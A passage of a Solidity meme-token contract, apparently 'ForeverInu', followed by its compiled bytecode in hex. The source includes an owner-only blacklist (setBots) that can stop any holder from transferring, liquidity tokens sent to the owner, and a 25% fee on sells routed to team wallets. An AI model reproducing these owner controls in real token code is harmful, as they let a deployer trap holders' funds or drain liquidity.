require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 5;
_teamFee = 20;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ddd565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612923565b61045e565b6040516101789190612dc2565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f5f565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906128d4565b610490565b6040516101e09190612dc2565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612846565b610569565b005b34801561021e57600080fd5b50610227610659565b6040516102349190612fd4565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129a0565b610662565b005b34801561027257600080fd5b5061027b610714565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612846565b610786565b6040516102b19190612f5f565b60405180910390f35b3480156102c657600080fd5b506102cf6107d7565b005b3480156102dd57600080fd5b506102e661092a565b6040516102f39190612cf4565b60405180910390f35b34801561030857600080fd5b50610311610953565b60405161031e9190612ddd565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612923565b610990565b60405161035b9190612dc2565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061295f565b6109ae565b005b34801561039957600080fd5b506103a2610afe565b005b3480156103b057600080fd5b506103b9610b78565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129f2565b6110da565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612898565b611226565b6040516104189190612f5f565b60405180910390f35b60606040518060400160405280600a81526020017f466f7265766572496e7500000000000000000000000000000000000000000000815250905090565b600061047261046b6112ad565b84846112b5565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600061049d848484611480565b61055e846104a96112ad565b6105598560405180606001604052806028815260200161366f60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b389092919063ffffffff16565b6112b5565b600190509392505050565b6105716112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f590612ebf565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066a6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90612ebf565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107556112ad565b73ffffffffffffffffffffffffffffffffffffffff161461077557600080fd5b600047905061078381611b9c565b50565b60006107d0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c97565b9050919050565b6107df6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086390612ebf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f466f7265766572496e7500000000000000000000000000000000000000000000815250905090565b60006109a461099d6112ad565b8484611480565b6001905092915050565b6109b66112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a90612ebf565b60405180910390fd5b60005b8151811015610afa57600160066000848481518110610a8e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610af290613275565b915050610a46565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1614610b5f57600080fd5b6000610b6a30610786565b9050610b7581611d05565b50565b610b806112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0490612ebf565b60405180910390fd5b601160149054906101000a900460ff1615610c5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5490612f3f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cf030601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112b5565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3657600080fd5b505afa158015610d4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6e919061286f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dd057600080fd5b505afa158015610de4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e08919061286f565b6040518363ffffffff1660e01b8152600401610e25929190612d0f565b602060405180830381600087803b158015610e3f57600080fd5b505af1158015610e53573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e77919061286f565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610f0030610786565b600080610f0b61092a565b426040518863ffffffff1660e01b8152600401610f2d96959493929190612d61565b6060604051808303818588803b158015610f4657600080fd5b505af1158015610f5a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f7f9190612a1b565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff0219169083151502179055506a52b7d2dcc80cd2e40000006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611084929190612d38565b602060405180830381600087803b15801561109e57600080fd5b505af11580156110b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d691906129c9565b5050565b6110e26112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461116f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116690612ebf565b60405180910390fd5b600081116111b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a990612e7f565b60405180910390fd5b6111e460646111d6836b033b2e3c9fd0803ce8000000611fff90919063ffffffff16565b61207a90919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60125460405161121b9190612f5f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611325576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131c90612f1f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138c90612e3f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114739190612f5f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e790612eff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155790612dff565b60405180910390fd5b600081116115a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159a90612edf565b60405180910390fd5b6005600a81905550600a600b819055506115bb61092a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561162957506115f961092a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a7557600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d25750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116db57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117865750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117dc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117f45750601160179054906101000a900460ff165b156118a45760125481111561180857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061185357600080fd5b601e426118609190613095565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561194f5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119a55750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119bb576005600a819055506014600b819055505b60006119c630610786565b9050601160159054906101000a900460ff16158015611a335750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a4b5750601160169054906101000a900460ff165b15611a7357611a5981611d05565b60004790506000811115611a7157611a7047611b9c565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b1c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b2657600090505b611b32848484846120c4565b50505050565b6000838311158290611b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b779190612ddd565b60405180910390fd5b5060008385611b8f9190613176565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bec60028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c17573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c6860028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c93573d6000803e3d6000fd5b5050565b6000600854821115611cde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd590612e1f565b60405180910390fd5b6000611ce86120f1565b9050611cfd818461207a90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d63577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d915781602001602082028036833780820191505090505b5090503081600081518110611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e7157600080fd5b505afa158015611e85573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea9919061286f565b81600181518110611ee3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f4a30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b5565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fae959493929190612f7a565b600060405180830381600087803b158015611fc857600080fd5b505af1158015611fdc573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b6000808314156120125760009050612074565b60008284612020919061311c565b905082848261202f91906130eb565b1461206f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206690612e9f565b60405180910390fd5b809150505b92915050565b60006120bc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061211c565b905092915050565b806120d2576120d161217f565b5b6120dd8484846121c2565b806120eb576120ea61238d565b5b50505050565b60008060006120fe6123a1565b91509150612115818361207a90919063ffffffff16565b9250505090565b60008083118290612163576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215a9190612ddd565b60405180910390fd5b506000838561217291906130eb565b9050809150509392505050565b6000600a5414801561219357506000600b54145b1561219d576121c0565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806121d48761240c565b95509550955095509550955061223286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122c785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123138161251c565b61231d84836125d9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161237a9190612f5f565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b6000806000600854905060006b033b2e3c9fd0803ce800000090506123dd6b033b2e3c9fd0803ce800000060085461207a90919063ffffffff16565b8210156123ff576008546b033b2e3c9fd0803ce8000000935093505050612408565b81819350935050505b9091565b60008060008060008060008060006124298a600a54600b54612613565b92509250925060006124396120f1565b9050600080600061244c8e8787876126a9565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124b683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b38565b905092915050565b60008082846124cd9190613095565b905083811015612512576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250990612e5f565b60405180910390fd5b8091505092915050565b60006125266120f1565b9050600061253d8284611fff90919063ffffffff16565b905061259181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125ee8260085461247490919063ffffffff16565b600881905550612609816009546124be90919063ffffffff16565b6009819055505050565b60008060008061263f6064612631888a611fff90919063ffffffff16565b61207a90919063ffffffff16565b90506000612669606461265b888b611fff90919063ffffffff16565b61207a90919063ffffffff16565b9050600061269282612684858c61247490919063ffffffff16565b61247490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126c28589611fff90919063ffffffff16565b905060006126d98689611fff90919063ffffffff16565b905060006126f08789611fff90919063ffffffff16565b905060006127198261270b858761247490919063ffffffff16565b61247490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061274561274084613014565b612fef565b9050808382526020820190508285602086028201111561276457600080fd5b60005b85811015612794578161277a888261279e565b845260208401935060208301925050600181019050612767565b5050509392505050565b6000813590506127ad81613629565b92915050565b6000815190506127c281613629565b92915050565b600082601f8301126127d957600080fd5b81356127e9848260208601612732565b91505092915050565b60008135905061280181613640565b92915050565b60008151905061281681613640565b92915050565b60008135905061282b81613657565b92915050565b60008151905061284081613657565b92915050565b60006020828403121561285857600080fd5b60006128668482850161279e565b91505092915050565b60006020828403121561288157600080fd5b600061288f848285016127b3565b91505092915050565b600080604083850312156128ab57600080fd5b60006128b98582860161279e565b92505060206128ca8582860161279e565b9150509250929050565b6000806000606084860312156128e957600080fd5b60006128f78682870161279e565b93505060206129088682870161279e565b92505060406129198682870161281c565b9150509250925092565b6000806040838503121561293657600080fd5b60006129448582860161279e565b92505060206129558582860161281c565b9150509250929050565b60006020828403121561297157600080fd5b600082013567ffffffffffffffff81111561298b57600080fd5b612997848285016127c8565b91505092915050565b6000602082840312156129b257600080fd5b60006129c0848285016127f2565b91505092915050565b6000602082840312156129db57600080fd5b60006129e984828501612807565b91505092915050565b600060208284031215612a0457600080fd5b6000612a128482850161281c565b91505092915050565b600080600060608486031215612a3057600080fd5b6000612a3e86828701612831565b9350506020612a4f86828701612831565b9250506040612a6086828701612831565b9150509250925092565b6000612a768383612a82565b60208301905092915050565b612a8b816131aa565b82525050565b612a9a816131aa565b82525050565b6000612aab82613050565b612ab58185613073565b9350612ac083613040565b8060005b83811015612af1578151612ad88882612a6a565b9750612ae383613066565b925050600181019050612ac4565b5085935050505092915050565b612b07816131bc565b82525050565b612b16816131ff565b82525050565b6000612b278261305b565b612b318185613084565b9350612b41818560208601613211565b612b4a8161334b565b840191505092915050565b6000612b62602383613084565b9150612b6d8261335c565b604082019050919050565b6000612b85602a83613084565b9150612b90826133ab565b604082019050919050565b6000612ba8602283613084565b9150612bb3826133fa565b604082019050919050565b6000612bcb601b83613084565b9150612bd682613449565b602082019050919050565b6000612bee601d83613084565b9150612bf982613472565b602082019050919050565b6000612c11602183613084565b9150612c1c8261349b565b604082019050919050565b6000612c34602083613084565b9150612c3f826134ea565b602082019050919050565b6000612c57602983613084565b9150612c6282613513565b604082019050919050565b6000612c7a602583613084565b9150612c8582613562565b604082019050919050565b6000612c9d602483613084565b9150612ca8826135b1565b604082019050919050565b6000612cc0601783613084565b9150612ccb82613600565b602082019050919050565b612cdf816131e8565b82525050565b612cee816131f2565b82525050565b6000602082019050612d096000830184612a91565b92915050565b6000604082019050612d246000830185612a91565b612d316020830184612a91565b9392505050565b6000604082019050612d4d6000830185612a91565b612d5a6020830184612cd6565b9392505050565b600060c082019050612d766000830189612a91565b612d836020830188612cd6565b612d906040830187612b0d565b612d9d6060830186612b0d565b612daa6080830185612a91565b612db760a0830184612cd6565b979650505050505050565b6000602082019050612dd76000830184612afe565b92915050565b60006020820190508181036000830152612df78184612b1c565b905092915050565b60006020820190508181036000830152612e1881612b55565b9050919050565b60006020820190508181036000830152612e3881612b78565b9050919050565b60006020820190508181036000830152612e5881612b9b565b9050919050565b60006020820190508181036000830152612e7881612bbe565b9050919050565b60006020820190508181036000830152612e9881612be1565b9050919050565b60006020820190508181036000830152612eb881612c04565b9050919050565b60006020820190508181036000830152612ed881612c27565b9050919050565b60006020820190508181036000830152612ef881612c4a565b9050919050565b60006020820190508181036000830152612f1881612c6d565b9050919050565b60006020820190508181036000830152612f3881612c90565b9050919050565b60006020820190508181036000830152612f5881612cb3565b9050919050565b6000602082019050612f746000830184612cd6565b92915050565b600060a082019050612f8f6000830188612cd6565b612f9c6020830187612b0d565b8181036040830152612fae8186612aa0565b9050612fbd6060830185612a91565b612fca6080830184612cd6565b9695505050505050565b6000602082019050612fe96000830184612ce5565b92915050565b6000612ff961300a565b90506130058282613244565b919050565b6000604051905090565b600067ffffffffffffffff82111561302f5761302e61331c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130a0826131e8565b91506130ab836131e8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130e0576130df6132be565b5b828201905092915050565b60006130f6826131e8565b9150613101836131e8565b925082613111576131106132ed565b5b828204905092915050565b6000613127826131e8565b9150613132836131e8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561316b5761316a6132be565b5b828202905092915050565b6000613181826131e8565b915061318c836131e8565b92508282101561319f5761319e6132be565b5b828203905092915050565b60006131b5826131c8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061320a826131e8565b9050919050565b60005b8381101561322f578082015181840152602081019050613214565b8381111561323e576000848401525b50505050565b61324d8261334b565b810181811067ffffffffffffffff8211171561326c5761326b61331c565b5b80604052505050565b6000613280826131e8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132b3576132b26132be565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b613632816131aa565b811461363d57600080fd5b50565b613649816131bc565b811461365457600080fd5b50565b613660816131e8565b811461366b57600080fd5b5056fe45524332303a207472616e7366657220616d